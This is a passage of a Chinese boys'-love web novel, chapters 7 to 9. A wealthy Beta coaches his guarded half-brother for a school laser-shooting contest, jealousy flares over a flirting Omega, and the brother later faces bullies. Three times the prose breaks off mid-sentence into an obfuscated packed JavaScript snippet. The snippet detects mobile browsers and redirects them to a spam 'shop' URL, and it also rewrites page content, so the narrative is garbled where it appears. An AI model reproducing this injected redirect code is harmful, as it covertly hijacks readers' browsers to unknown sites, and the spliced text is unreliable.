《老实人beta带球跑两次》 7. 第 7 章 这绝对不可能是傅舟行自己报的。 以他这几天对傅舟行的了解,对方绝不会主动参与这种引人注目的活动,唯一的可能就是被人捉弄了。想到傅舟行可能在众目睽睽之下因为不会操作而尴尬,甚至被嘲笑…… 傅忘言心里咯噔一下,随后陷入沉思。很快,一个念头在他脑中闪过。 等等……这或许,恰恰是一个打破他们之间冰冷僵局的绝佳机会? 欸!是啊! 某人等不及一点,就在回到家吃晚饭的时候。他直接切入正题,“学校举办的射击大赛,你知道吗?” 傅舟行停下动作,看向他,眼神带着询问。 傅忘言直接拿出手机,点开班级群里关于比赛名单的截图,递到他面前:“这个,你看到了吗?” 傅舟行的目光在屏幕上停留了几秒,眉头几不可见地蹙了一下,随即恢复平静:“看到了。” “是你自己报的吗?”傅忘言追问。 “不是。”傅舟行回答,语气里听不出什么情绪。 “我就知道。”傅忘言立刻说,“你要是实在不想参加,我去帮你和学校那边说,给你取消掉就可以。当然,你要是想参加……”他说话有些结巴,轻声道:“我可以教你……” 虽然他很希望傅舟行答应,这样他们俩就可以增进一下兄弟情。但是还得在乎一下本人意愿嘛。 “你教我?”傅舟行放下筷子,似乎很不相信。 傅忘言看他这表情,必须得证明自己一下。 他快速点开手机APP,走到傅舟行旁边自证:“我之前经常去玩的,就这家‘未来纪元’射击俱乐部,设备很专业,我现在就订位子。”他在手机上噼里啪啦一顿操作,自信地说:“然后从明天开始,放学后我陪你特训,你相信我,我真的会。” 傅舟行其实很想说,你看起来肩不能扛手不能提的,妥妥拿着除了脸一无事处的富家公子人设身份卡的,让人怎么相信? 但他看着傅忘言因为激动而微微发红的侧脸,那句已经到了嘴边的拒绝,不知怎么的又被他咽了回去。 这是为了让自己心里好受一点,所以给他的补偿吗?不管怎么说,和这个少爷打好关系,对他来说没有坏处。这不就是他一直以来的目的吗? 他沉默了一会回应。“嗯。” “太好了。” …… “未来纪元”射击俱乐部充满了科技未来感。 走进去,入眼一片蓝色。像是走进了什么蓝海,蓝色的氛围灯带勾勒出流线型的空间,耳边是激光枪击中智能标靶时发出的“啾啾”声和电子计分的提示音。 傅忘言熟门熟路地领了装备,帮傅舟行戴上护目镜,仔细调整头带的松紧。近距离接触,手指不经意间会擦过傅舟行的额发和太阳穴,带来微痒的触感。 “来,先学最基本的站姿和握枪。”傅忘言站到傅舟行身后,几乎是虚环着他,手把手地纠正他的动作,“双脚再分开一点,与肩同宽,重心下沉……对,就是这样。手腕要稳,用这里发力,对……” 傅忘言讲解得很认真,呼吸轻轻扫在傅舟行的耳廓和颈侧。 傅舟行身体有些僵硬,能清晰地感受到身后传来的温热体温,以及傅忘言身上淡淡的、像阳光晒过的青草一样的气息。 没想到这个少爷是真会,不是个绣花枕头。 他努力集中精神,按照指示调整动作。 “好,瞄准,屏住呼吸,扣动扳机——” “啾!”一道红色的激光射出,打在远处的电子靶上,显示环数:五环。 “一般一般吧~再接再厉哦~”充满惋惜的提示音响起。 “不错欸!第一次摸枪能上靶了。”傅忘言立刻鼓励道,笑得比他自己打了十环还开心。 不过五环有什么好高兴的,傅舟行活动两下手腕,想自己试试看。 “啾!” 他偏头看了一眼,两环。 两环? 傅忘言站在一旁也看见了成绩,再转头看了一眼傅舟行,他脸上仿佛多了一道裂痕,脸垮的很厉害。估计是小孩心高气傲,接受不了。傅忘言拍了拍他的肩膀安慰道:“两环已经很好了,有的人刚开始玩,还有脱靶的呢。” 傅舟行:“……” 谁要和那些脱靶的比。 而且傅忘言这故作老成的语气,不知道的还以为傅忘言比他大个十岁二十岁。 接下来的几天,他们几乎每天放学后都泡在射击馆。 傅忘言是个耐心的“教练”,从理论到实践,一步步引导。傅舟行也学得很快,天赋出乎傅忘言的意料,从最初的两环,到稳定七、八环,偶尔还能打出九环的好成绩。 和初学的傅忘言比,好像还更胜一筹了。 傅忘言毫不吝啬他的夸奖,每次傅舟行有进步,他都会激动地说上一大堆不重复的夸赞。看见傅舟行紧绷的嘴角松懈,傅忘言会说的更起劲。 傅舟行表面不说什么,却常在空闲的时候回想这些话,脸上难得挂几分笑意。他感觉傅忘言像是老实人豁出去了,很好玩。 后面他无意间刷平台才知道,这都是傅忘言上网上找的夸赞段子,一字没改,查重率百分百。 比亲子鉴定还多0.01%。 傅舟行气笑了。 经过几天训练,傅忘言已经把他脾气摸的半透。吃软不吃硬的,而且好像还没消气。 气性怪大的。 某天傍晚,他们照常在进行训练。 每次射击前傅舟行都会活动活动筋骨,傅忘言偶尔会来帮他指导动作。后面傅忘言看他成绩已经稳定后,就不上手指导了,小小一只蹲在角落喝着奶茶。 现在,傅舟行刚完成一组练习,傅忘言让他在旁边休息休息。 傅舟行点点头,浑身松懈下来。训练的时候,他的注意力很集中,小臂也会绷紧,时间久了,就很酸软。他百无聊赖地给自己按按摩,顺便用酒精棉擦拭器具和双手。 偶然被傅忘言看见,还调笑说只见过电视剧里面的“公主”这样干过。 傅舟行懒得与他争论,逞一时口舌之快没什么意义,最重要的是,他有洁癖也不需要和任何人解释。 这时,一个穿着时尚、头发染成浅金色的Omega被推着走了过来,那Omega的目光直接落在傅忘言身上,脸上带着恰到好处的、略带羞涩的笑容。 “抱歉,打扰一下,”他的声音清亮悦耳,“我看你教得特别专业,动作也好标准。我……我完全是个新手,怎么都打不好,能请教你一下吗?” 傅忘言闻声抬头,看到对方崇拜的眼神,远处还站着几个——应该是他的朋友。一群需要别人帮助的Omega……他天生的热心肠立刻冒了头,几乎是毫不犹豫地扬起一个灿烂的笑容:“当然可以啊,没问题的,你的位置在哪里?” Omega惊喜地笑了笑,然后指了一处方向,“就在那边,不远的。” “好的。” 回答完那个Omega,他转头对傅舟行快速说了句:“你先巩固下刚才那组动作,注意手腕别太僵。”然后便兴致勃勃地跟着那个Omega走向旁边的射击位。 傅舟行握着水瓶的手无意识地收紧了一下。 他看着傅忘言走到那个Omega身边,自然地站到对方身后,像之前教自己一样,伸手帮对方调整姿势,耐心讲解要领。 那个Omega不时侧头对傅忘言说着什么,脸上一直带着笑,眼神几乎都黏在傅忘言身上了。 过了一会儿,他甚至拿出了手机,傅忘言也笑着掏出自己的,两人显然互相添加了联系方式。 一股莫名的不适感像细小的藤蔓,悄然缠绕上傅舟行的心口,慢慢收紧。就像那种,一直掌控的东西突然偏离轨道一般。他觉得胸口有些发闷,喉咙也有些干涩。 训练馆里空调温度适宜,他却感觉有些燥热。 他收回目光,沉默地走回自己的射击位,重新戴上护目镜。举枪,瞄准,眼前的红色靶心似乎有些模糊不定。他扣动扳机。 “啾——”激光打在靶子边缘, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297461|198600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显示三环。 他垂下枪口,盯着那刺眼的数字,一种混合着失落、烦闷,还有一丝他自己都不愿深究的委屈情绪,在心底弥漫开来。 为什么傅忘言可以对一个刚认识的、明显别有企图的陌生人也这么热情? 傅忘言在那边没教多久,就听到远处机器很惋惜的声音响起。 “啊哦,菜菜,只有三环,再接再厉哦~” 这丧气音加轻微嘲讽,傅忘言还以为是他听错了,直到看到傅舟行垂头丧气的样子。 “怎么了?”Omega看见傅忘言的动作停下来好奇地问,他顺着傅忘言盯的方向看过去,也注意到了傅舟行,刚刚只顾着搭讪了,他有些犹豫地问:“你和他认识啊?你们是……什么关系啊?” “啊,哦,认识的,他是我弟弟。”傅忘言身体已经转了半个方向。 看见他要走,Omega也不好拦着。只是跟着走过去。 “是手腕太酸了吗?”傅忘言关切地问,“太累了,就再休息一会。” 那个Omega也走上前说,嗓音甜腻腻的,“就是啊,弟弟,不如休息一下。” 傅舟行没有回头,重新举枪,声音透过护目镜传出,带着他自己都未察觉的冷硬:“不用管我,你去教他吧。” 这语气突然转变让傅忘言都懵了一下。 这几天不说两人有多亲近,至少说话都是和和气气的。还以为他们和好指日可待,就是时间问题。 怎么今天一朝还回到解放前了!? 联想到刚刚的提示音,傅忘言像是明白了什么,随即绕到他侧面,歪着头看他,脸上带着促狭的笑:“你是不是觉得打了三环很丢人啊?这没什么丢人的。刚刚我还教了一个脱靶的呢,他都没觉得丢人。我之前就和你说过啦,刚上手脱靶都是正常的,像你这样的成绩很好的了。” 还在一旁笑嘻嘻打出脱靶的某Omega:“……” 傅忘言丝毫没有自己已经得罪人的觉悟,还打算继续说什么。 那个Omega打断他,随便找了个借口准备离开。 走之前,傅舟行迅速开出一枪。 “砰!”一声比之前更响的激光射击声。 这一次,子弹精准地命中靶心,十环。 毫无节操地机械音激动地响起来,“主人!恭喜你!是十环喔!” 走到半路的Omega脸色似乎更差了,脚步加快离开了。 傅舟行放下枪,动作利落地取下护目镜,开始沉默地拆卸枪械,整理自己的东西,声音平静无波:“练得差不多了,回去吧。” 回程的车上,气氛比来时更加沉默。 傅舟行依旧望着窗外飞速后退的霓虹,只是这一次,傅忘言说什么他都没什么兴致地回复,连头都不回。 傅忘言几次试图找话题,比如“你今天最后那一枪真准”、“比赛前我们还来练不?你打的真的比那个Omega好”等等,都像石子投入深潭,连一点涟漪都没激起。 提到那个Omega,傅舟行终于回头看他,声音在夜晚微凉的空气中显得格外清晰,也格外轻飘:“是不是谁来找你,你都会去教,那些话也会重复说一遍。”他顿了顿,“而且联系方式说给就给。” 说完不管傅忘言再说什么,都不肯再开口了。 可是漫漫路途,傅忘言不说话难受,他自顾自地把话题说下去:“那个Omega基础其实不错的,要是再让我多教几次,肯定也可以打出个□□环的,但是他把我删了,不知道什么原因,好可惜。” “呵。”傅舟行嗤笑一声,装都懒得装,“可惜什么?” 还觉得可惜上了?可惜什么?身上全是那个Omega的味道,难闻死了。 “可惜我还没有问到他朋友买的点心是哪一家,闻着味道就香,我好饿。李叔!去一下蛋糕店吧,我买点夜宵。” “好嘞,少爷。” 傅舟行:“……” 他就多余思考。 真不知道傅忘言到底是神经大条还是缺心眼。 8. 第 8 章 刚刚他脑海里面各种阴暗想法都被傅忘言这一句买点蛋糕压下去了。心中的小火苗也瞬间熄灭,吃货的世界他不懂。 待傅忘言买完蛋糕,车子重新启动,缓缓驶入傅家宅院,停稳。 傅舟行率先下车,傅忘言赶紧跟上。就在傅忘言以为今晚又会以沉默告终时,走在前面的傅舟行却突然停下了脚步。 “比赛前一天也去。” 说完,他不再停留,径直走进了灯火通明的大宅。 傅忘言怔怔地站在原地,看着傅舟行消失在门后的背影,夜晚的凉意渐渐渗透衣衫。他回味着傅舟行最后那句话。 哦,也去。 这是不生气的意思? 傅忘言跟在后面,飞快地接上下一句,“好的呀!那天我们练短一点晚点早点睡……对了,蛋糕你吃吗?” “吃。” 傅忘言一噎,真的吃啊?他就客气一下,顺嘴了。 不是,真吃吗? 平常傅舟行只吃晚饭的,今天怎么会,这是他买来当夜宵的。 他慢吞吞地打开纸袋,里面整齐码放着他期待已久的几款新口味,每一盒都精致诱人。他几乎是痛心疾首地闭上眼睛,伸手在袋子里摸索了一阵,万分不舍地抽出一盒,递了过去。 啊!是他最想尝的草莓奶油那款! 傅舟行接过去,转身要走。 “那个,晚上吃太多甜品不好,你喜欢吃甜的吗?这家蛋糕做的很甜。”傅忘言盯着蛋糕舔了舔嘴唇,“你不爱吃甜的话……我……” “想尝尝。” “嗯?” 傅舟行的目光落在他的嘴唇上,停顿两秒,又若无其事的挪开了,“我好奇好不好吃。” 他一开始答应来傅家就为了一个目的。 母亲下葬时,他对傅临川说:“我怀疑母亲的死不是意外。” 傅临川只是抚摸着他的头,笑容还是一如既往温柔,“小舟,我知道你一时接受不了。但如果你想查清楚,首先得有能力,至少你得先成年,不是吗?” 所以他来到这里待到成年,拿到股份找出真相,这些才是他的最终目的。 至于这个小少爷……如果到后面不愿意给他股份,那就别怪他不客气了。 …… 其实傅舟行不爱吃蛋糕。 他就是故意的,突然就想看傅忘言这种舍不得又没办法的样子。但同时,他又有点懊恼,万一傅忘言把蛋糕比作是股份来试探他呢?他岂不是已经中计了? 那怎么行!他的筹谋还没开始就胎死腹中吗?!他起身下床,那个蛋糕被他带回来房间,摆在原来小挂件呆的地方。 透明的盒子里面是精致的蛋糕,草莓摆满了上面一层,奶油也是粉色的。傅舟行拿过叉子挖了一勺,里面的夹心都能看到草莓果粒。 一口下去甜的要命。 傅舟行几乎是立刻皱起眉头,三两口把蛋糕吃完了,去洗漱。 薄荷味的牙膏充斥着整个口腔,把草莓味的甜腻冲散。 傅舟行整个人仰躺在床上,任由思绪放空。 事后反思,他今晚的行为举止太奇怪了。 他要和傅忘言打好关系,看见傅忘言有喜欢的Omega,他去帮助,不是更能刷好感度吗?他紧张什么。 紧张不对吗?如果傅忘言有了Omega,对他的关注就会少了,未知因素增加,打好关系就更难了。 他应该是不自觉的紧张自己的计划会失败,所以才会这样。 是的。 真的吗? 傅舟行在床上辗转反侧。 其实不止今晚。 那天他在卫生间他明明可以选择直接走出去的 ,但是他听到了傅忘言的声音后,第一反应却是让那些人演了一出他“被霸凌”的好戏。 …… 最倒霉不过王少爷。 他那天回到家,家里的佣人看见淤青立刻拿出医药箱给他上药。 没人敢询问这是什么情况,只希望这个少爷不要怪罪他们,把气撒到他们身上。 王少爷看着镜子里自己肿的老高的腮帮子,恨的牙痒痒,气的直捶大腿。他又忍不住回想起那天的场景。 在卫生间,帅气逼人的他抓起傅舟行的衣领正打算给他一个教训。 没成想傅舟行动了,伸出一只手扣在自己的手腕上,然后用力地捏紧。 他吃痛地松手,退后好几步。傅舟行看了他一眼,似乎是笑了,“你们一起?” 这句话无疑是挑衅!还真当自己是什么逼王在世啊! “上!都上!给我揍他!”王少爷捂着自己的手腕叫苦连连,左右有人都往前推,直到他身边空下来,这该死的转校生怎么这么大力气! 几分钟后,他们几个人全都七横八竖地睡在地上。傅舟行走到一旁的水池洗了洗手,经过他们的时候停住。 顺手甩了甩,他手上未干的水珠还飞落到自己的皮鞋上。 他还没搞明白发生了什么。 就看见傅舟行故作惊讶地蹲下去,语气没什么起伏问:“啊,水甩到你皮鞋上了,需要我帮你舔干净吗?” 面无表情的脸配上这淡然的语气,把傅舟行烘托地更加吓人,刚刚唰唰两下给他们就打趴下了,他们找茬前也没想到这个人是练家子啊! “不不不不!不用!” 几个人吓得缩在一起,全然没了之前的样子。 傅舟行好像也懒得理他们,抬脚继续往外走。突然外面传来说话的声音。 “同学打扰一下,那个转校生,你在卫生间看见他了吗?” “看见了。” “哦哦好的,谢谢你。” 外面来人了!不行!他的一世英名不能毁在这里,他赶紧爬起来整理衣服。 傅舟行像是想到了什么,又退回来。 这一举动让抱团的几个人又紧张起来,一颗心从肚子里又提到嗓子眼。 还以为傅舟行不解气,要当着新来的人面把他们打一顿。没成想这个煞神只是问他们:“会不会演戏?” 接下来的一幕就发生了,不知道从哪里来了一个全副武装的神经病又把他们口头警告了一番。 碍于傅舟行的面子,他们不敢发作。 在得到傅舟行离开的信号后,他们赶紧溜了。 王少爷觉得自己真的是衰透了。此后在学校他看见傅舟行都是绕道走。 …… 傅忘言昨晚因为傅舟行一句话,终于可以睡个好觉,又轮到佣人喊他起床。 房间门被敲响,得到傅忘言的回应后才消失。 傅忘言睡眼惺忪,磨蹭着从被窝里面出来,洗漱换衣服又磨蹭了很久,趿啦着拖鞋下楼。 佣人们像固定刷新的NPC一样,给他问好,又给他端上早餐。 傅舟行早就下来了,坐在桌子上吃着自己的那份,看见他下来主动和他打招呼,“早。” “早。” “……” “你……”傅忘言有些激动,他才反应过来。刚刚傅舟行是主动和他说早了吧!是不是彻底不生气了。 傅舟行微微抬眼,刚好和傅忘言对视上,又缓慢垂下。只一眼,他就读懂了傅忘言内心的小九九。某人的小心思还真是一点也藏不住。 他放下空杯子,又给自己续了一杯牛奶。 不生气?开什么玩笑,这么轻易就获得了原谅,岂不是很不会珍惜。 佣人本来打算将空杯子收走,见状又去忙自己的事情了。 “这几天你睡的好吗?”傅忘言又开始没话找话了。 “还行。” 一顿饭吃过,傅舟行先出去,这次他没有让司机先走了。等傅忘言走到门口的时候,看见车还在。司机觉得这才是正常的,之前肯定是两兄弟闹矛盾呢。他虽有好奇,也不会多嘴问。 傅忘言快步跑过去,竟然等他一起走吗?前几天还巴不得躲他远远的,对比现在这真的是大进展! 和小孩搞好关系,果然是门大学问。 转眼几天过去,今天就是练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297462|198600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 习的最后一天了。傅忘言照常带着傅舟行练习。经过他的特训,傅舟行进步神速。稳定□□环,运气好十环。也有可能是傅舟行天资聪慧,反正傅忘言为了和缓两人关系,什么话都说的出口。 一会夸动作标准,一会夸姿势帅气,还说就这个水平参加校级比赛绰绰有余。 把傅舟行夸的天花乱坠,网上找的小段子不够用了,这可是他的真心话,亲自想的。 不过傅舟行表面还是一副不在意的样子,也不知道有没有听进去。 晚上回家的时候,傅忘言还在他耳边絮絮叨叨的。 “你比赛的时候不要紧张。”傅忘言拍了拍他的肩膀,“我会去看你的,给你加油打气。” 本来傅舟行还觉得,一个比赛而已,也不是很重要,一听傅忘言这话,倒有些不自在了,被人附上了期待,就会畏手畏脚。 看傅舟行欲言又止地模样,傅忘言也觉得自己是不是有些冒进了。 经过他的观察,他的这位弟弟应该是不喜关注的,如果他去加油打气,直接暴露了两个人的关系,会不会给傅舟行带去很多麻烦。 还是他想的不太周到,所以他又补上一句,“放心,不会暴露我们俩的关系。” 傅舟行将头撇到一边,不知道该说好还是不好,干脆没接话。 感觉哪里不对劲,又说不上来哪里不对劲。这少爷为什么还没露馅,真的挺能忍的。 傅舟行不相信他能装一辈子。 正逢比赛日到了,距离傅忘言毕业的日子也不远了。 早早的,两人就吃过早饭一起来了学校。但是到校门口不远处,傅舟行会自己下车走过去。好像深怕别人知道他和傅忘言有关系。 傅忘言也表示理解,可能他就是不喜欢被人关注的感觉吧。 车在校门口停下,傅忘言一开车门就被无数目光注视着。和往常一样会有几个人围在他周边叽叽喳喳的,簇拥着傅忘言进入学校。 而远处的傅舟行,将一切尽收眼底。 …… 上午才刚过去第一节课,比赛是下午开始,一直比到放学。这样大家玩开心了直接回家。傅忘言频频看向手表,还伴随着不自觉的跺脚。 课桌虽然是一人一张,但是两个人挨在一起啊。同桌看着轻微晃动的课桌有些无奈,胳膊肘朝外拐了一下傅忘言,开口问:“傅忘言,你在干嘛?” 傅忘言太过专注,没有反应。 同桌“啧”了一声,将自己的课桌搬开了一点点。发出些动静,让后桌的江竹白注意到了。 江竹白探头看看傅忘言,又看看傅忘言的同桌,毫不犹豫在傅忘言板凳后面踢了一脚。 傅忘言没有防备前倾了一下,余光还看见同桌向后竖了一个大拇指,他立马转头,满脸疑惑,“小白,你踹我做什么?” “我以为你尿急呢。”江竹白翻开一页课本,低着头,“提醒你去趟厕所。” “你才尿急……”傅忘言嘟囔一句,又转回身去。 好着急啊,什么时候才开始比赛,他得去刷好感度呢。 傅忘言都给自己想好了,他托人做了个横幅,到时候找几个漂亮的拉拉队给傅舟行拉横幅加油打气,到时候傅舟行拿到好名次,不管是学校的Alpha还是Omega都会对他刮目相看。 傅忘言觉得计划通,把头埋在胳膊里面满意地笑了。同桌看了他一眼。只觉得他又犯病了,默默把自己桌子抬远。 …… 午后的阳光有些炙热,学校露天操场上临时搭建的射击比赛场地却人头攒动,气氛热烈。 智能标靶在阳光下反射着金属光泽,参赛者们穿着统一红白色射击服,更显得身形挺拔。 傅忘言他们先比。 他本就技术娴熟,加上心态放松,发挥稳定,三连十环,直接打出了总分第一的好成绩。他刚放下比赛用的激光枪,甚至来不及听完成绩播报,就急匆匆地挤出人群,往高一组的比赛区域跑去。 江竹白在他后面喊什么他也没听见。 9. 第 9 章 操场上人潮涌动,好不容易他挤到围观人群的前排,一眼就看到了站在预备区的傅舟行。 同样的红白色射击服穿在傅舟行身上,仿佛被重新裁剪过,格外合身。 布料勾勒出他宽阔平直的肩膀和流畅的背部线条,腰间的束带收紧,显得身姿挺拔。 从傅忘言的角度看,只能看到他干净利落的侧脸,下颌线绷得有些紧。阳光下,傅舟行微抿着唇,神情懒散地看着前方的靶位,对周围的喧嚣充耳不闻。 傅忘言先给自己找个位置坐下来,看傅舟行这样子胸有成竹的,应该是可以的。那拉拉队等傅舟行夺冠了再叫出来吧。 很快,轮到傅舟行上场了。 他走到指定位置,按照傅忘言教的那样,沉稳地举枪,左眼微闭,右眼透过瞄准镜锁定靶心。扣动扳机—— “嘀——”电子音报出环数:六环。 成绩一般,在参赛选手里属于中下游。傅舟行脸上没什么表情,似乎对这个结果并不意外,也无所谓。他平静地等待下一次射击指令。 场边的傅忘言开始焦虑。 怎么回事,发挥有点失常啊,教学时挺好的呀。他赶紧朝看台某个方向打手势。 立刻,几个穿着亮眼拉拉队服、身材高挑的Omega站了起来,拉开了一条醒目的横幅,上面写着“傅舟行加油!”,同时开始挥舞着彩花,齐声喊起了加油口号: “傅舟行!傅舟行!势如破竹一定行!” 这阵仗在相对低调的群众中显得有些突兀,还很中二,瞬间吸引了不少目光。傅舟行调试激光枪的动作顿了顿,抬眼扫了过去。 他最先看到了那群举着横幅跳舞的Omega,眉头几不可察地蹙了一下,随即目光就滑动人群,精准地落在了旁边的傅忘言身上,某人一脸“求表扬”的笑容大咧咧地闯入他眼里。 傅忘言正笑眯眯地看着他,身上也穿着比赛的红白色衣服,和他目光对视时笑意扩的更大。 所以,这个拉拉队,是他搞得?傅舟行满额头黑线,听着场外的应援声,想立刻扔下手里的激光枪走人。 真是不怕人笨,就怕笨人还勤快…… 因为运动跑来跑去,傅忘言额发有些汗湿。衣服尺寸刚好合身,把他纤细的腰肢勒得格外明显,站起来时腰腹微微收紧,勾勒出柔软又紧致的线条。 可能是有些热了,傅忘言解开了腰间束带,阳光下那截腰线白得晃眼,透着股不自知的勾人劲儿。 傅忘言还没察觉到衣服的情况,朝着他挥了挥手,嘴角扬得高高的,眼里亮闪闪的全是期待。 傅舟行的目光在他腰上停了半秒,迅速收回,重新举起激光枪,脸上依旧没什么波澜。 但接下来的几轮,旁边几个选手状态奇佳,要么八环要么九环,分数一路往上冲,傅舟行却又打了个七环,差距一下子就拉开了。 拉拉队的喊声更卖力了,舞蹈也跳得更起劲,可傅舟行的分数就是不见涨。傅忘言攥紧了拳头,手心都冒了汗,急得在原地悄悄跺脚。 他想站起来给傅舟行加油打气,又怕暴露两人的关系,只能眼睁睁看着,心里把“怎么办”念了八百遍——再这样下去,傅舟行肯定要输了。 人声嘈杂,傅舟行却还能清晰听到旁边两个参赛人的议论声。 “装什么装啊,打得不怎么样,还特意找了拉拉队撑场面,真够能摆的。” 语气里的嘲讽毫不掩饰。 傅舟行扣着扳机的手指几不可察地收紧了。他侧头,又看了一眼傅忘言的方向。傅忘言正踮着脚,一脸紧张地盯着他,见他看过来,立刻用力做了个口型:“加油!” 傅舟行没说话,重新举枪,这次没有闭一只眼,而是双眼平视瞄准,呼吸放得极缓。周围的喧闹仿佛瞬间被隔绝,他的世界里只剩下枪口、准星和远处的靶心。 “砰!” 第一枪,十环! 报靶器亮起红色的数字,周围瞬间响起一片“哇”的惊呼。傅忘言眼睛一下子就亮了,差点跳起来。 还没等众人反应过来,第二声枪响接踵而至——又是十环! 靶场彻底炸开了锅,欢呼声、惊叹声此起彼伏,拉拉队喊得嗓子都快哑了。 傅忘言环顾一圈周围人的反应,心里美滋滋的:可以让家庭厨师提前准备庆功宴了,然后晚上他们畅谈未来理想。 比赛结束,傅舟行凭着最后两枪的逆转,居然拿了第三名。傅忘言想上去找他,却被同学拉住庆祝自己的冠军,等他摆脱人群,傅舟行已经不见了踪影。 后来被场地上的路人告知傅舟行被两个人叫走了。 “两个人?” “对啊,就是看起来很不好惹的那种。” …… 根据那个路人的提示,傅忘言第一反应就是上次厕所见到的那位。他又问了个大概方向,就朝那里赶去。 操场面积很大,人很多,如果是校园霸凌什么的肯定非常显眼。傅忘言跑了几步,突然想起来一个地方。 器材室! 傅忘言心猛地一沉,来不及多想,拔腿就朝着操场后方那排老旧的平房跑去。 阳光被高大的看台遮挡,越靠近器材室区域,周围的光线就越发昏暗,人也越发稀少。 果然,在最角落的那间器材室门口,他看到了被围住的傅舟行,以及那两个穿着比赛服、人高马大的Alpha——正是今天比赛中排在傅舟行旁边,后来被他连续两个十环压过风头的那两人。 傅舟行背靠着发白的墙壁,那件显眼的红白色射击服上沾了些脏污,额发凌乱,额角一块新鲜的淤青在昏暗光线下格外刺眼,似乎还有血迹。他微微垂着头,紧抿着唇,看样子是处于劣势。 从傅忘言的角度看,根本看不见傅舟行的表情,只能看到他任由对方推搡着肩膀,还听着那些不堪入耳的辱骂。 “你发什么神经?!” “对啊,你这新来的,是不是脑子坏了!难怪没给保护费还敢在学校里出风头!” “我可是听说了个很有趣的消息,你是傅家刚领回来的私生子吧?” “你怎么知道的?”另一个人问。 “傅家大少爷生日宴会上惊现一个弟弟这个传言你不知道?” 傅忘言听得心头一紧,宴会上应该都是经常合作的伙伴,这么大的事情,是谁往外乱说?!他立刻出声阻止:“请、请等一下!你们不能这样欺负同学!” 他快步冲了过去,虽然心里有点紧张,但还是鼓起勇气挡在了傅舟行前面,试图隔开那两人。 那两人被他的突然出现弄得一愣。其中一个认出了傅忘言,气势顿时弱了几分,语气有些犹豫:“傅、傅忘言?你是傅忘言少爷吧?” 另一个却满脸不耐烦,觉得同伴大惊小怪,要真是那个什么傅忘言少爷,小跟班不得十个八个的。看面前这人唯唯诺诺的样子,火气反而更盛,这种人都能当少爷,他却被一个私生子抢了风头,越想越气。 “关你什么事?少多管闲事!” 说着,情绪激动之下,他猛地伸手推了傅忘言一把。 傅忘言没防备,被推得踉跄几步,踩在一个不知名球体上,一下子没站稳,“哎呀”一声摔倒在地,手肘和手掌在粗糙的地面上蹭过,传来一阵火辣辣的疼。 周围瞬间安静了一下。 傅忘言自己也有点懵,在诡异地氛围中,他慢吞吞撑着地面,有些笨拙地爬了起来,拍了拍身上的灰。低头一看,手心擦破了一大块皮,正慢慢渗出血珠,手腕也隐隐发麻。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297463|198600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 傅舟行也看到了,他下意识轻轻皱了皱眉。 嘶,好痛…… 看着手掌心,傅忘言顾不上自己,抬起头,看向那两个因为推倒了人而显得有些愣住的Alpha。他深吸一口气,努力让自己的声音听起来平稳些,带着点无奈和认真:“那个……你们知道我是谁吗?或者,知道我父亲是谁吗?” 他其实很不喜欢这样说话,感觉像是在仗势欺人。但现在的情况,他只想快点解决麻烦,保护好身后的人。 那个之前认出他的Alpha脸色瞬间白了,赶紧拉住同伴,声音发颤:“别说了!他是傅家的傅忘言!他爸是傅临川!” “傅氏”两个字如同冷水泼下,那个动手的Alpha脸上的嚣张瞬间凝固,转为惊慌,嘴唇哆嗦着,说不出话来。 “对、对不起!傅少!我们不知道是您!真的对不起!” 两人慌忙鞠躬道歉,姿态一下子变得无比卑微。 谁能想到面前这个说话结巴看起来像乖乖仔的Beta是傅家大少爷啊! 傅忘言看着他们,声音温和但坚定:“你们应该道歉的人不是我,是傅舟行同学。请向他道歉。” 那两人立刻转向傅舟行,忙不迭地鞠躬:“对不起!傅同学!我们错了!对不起!请原谅我们!” 傅舟行微微颔首,“嗯,知道了。” 傅忘言也轻轻叹了口气:“还有,他也不是什么私生子,他就是我的弟弟。只是还没对外报道。请你们以后不要再这样说了。” 话语落下,他突然想明白了什么。 为什么今年他会有那么隆重的一次生日宴会,原来那次生日宴会就是给……只是因为他和傅舟行突然都离席,所以没能继续下去…… 他突然很难过,但是完全不知道该怨恨谁。他只能愣在原地,自己一个人消化情绪。 那两人听完傅忘言说的话也是如蒙大赦,几乎是跑着离开了这个令人窒息的地方。 狭窄的器材室里,终于只剩下他们两人。 傅忘言吐出一口气,低头看了看自己火辣辣疼的手掌,轻轻吹了吹气,像小时候摔疼了那样。但他立刻又抬起头,却被傅舟行额头上的伤口吓了一跳。 “他们打你了?!” 他的视线落在那个淤青上,小声说,“都青了,还流血了……” “如果我刚刚看见才不会让他们给你道个歉那么简单!” 傅舟行微微偏头,避开了他想要触碰的手。他抬起眼,静静地看着傅忘言。他看到傅忘言急切地冲过来,看到他笨拙地被推倒,看到他爬起来后坚定的维护,也看到他此刻炸毛的模样。 